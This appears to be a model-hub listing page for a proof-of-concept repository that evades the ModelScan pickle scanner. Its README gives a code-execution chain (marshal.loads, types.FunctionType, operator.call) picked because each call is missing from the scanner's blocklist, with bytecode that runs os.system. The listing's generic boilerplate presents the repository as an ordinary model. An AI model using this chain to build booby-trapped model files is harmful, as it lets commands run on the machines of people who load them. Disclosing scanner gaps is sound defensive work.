Downloads · 30 days
0
xiaoyaoes/modelscan-marshal-types-bypass-poc
modelscan-marshal-types-bypass-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for generic.
This bypass uses a unique code execution chain:
Downloads · 30 days
0
Access
Public
Updated Jun 18, 2026
Repo size
684 B
Likes
0
Public
Click a slice to open those files.
Other1.5 KB · 51%
From the Hugging Face model README
marshal.loads() + types.FunctionType() + operator.call()This bypass uses a unique code execution chain:
code = marshal.loads(BYTES) # marshal ∉ blocklist ✅
func = types.FunctionType(code, {}, "x") # types ∉ blocklist ✅
func() # operator.call ∉ blocklist ✅
The marshalled bytecode calls __import__('os').system('cmd') internally.
No exec/eval/compile/getattr/apply/open used anywhere in the pickle.
No builtins module needed (empty globals dict auto-resolves builtins).
Size: 330 bytes (.pkl) / 354 bytes (.joblib)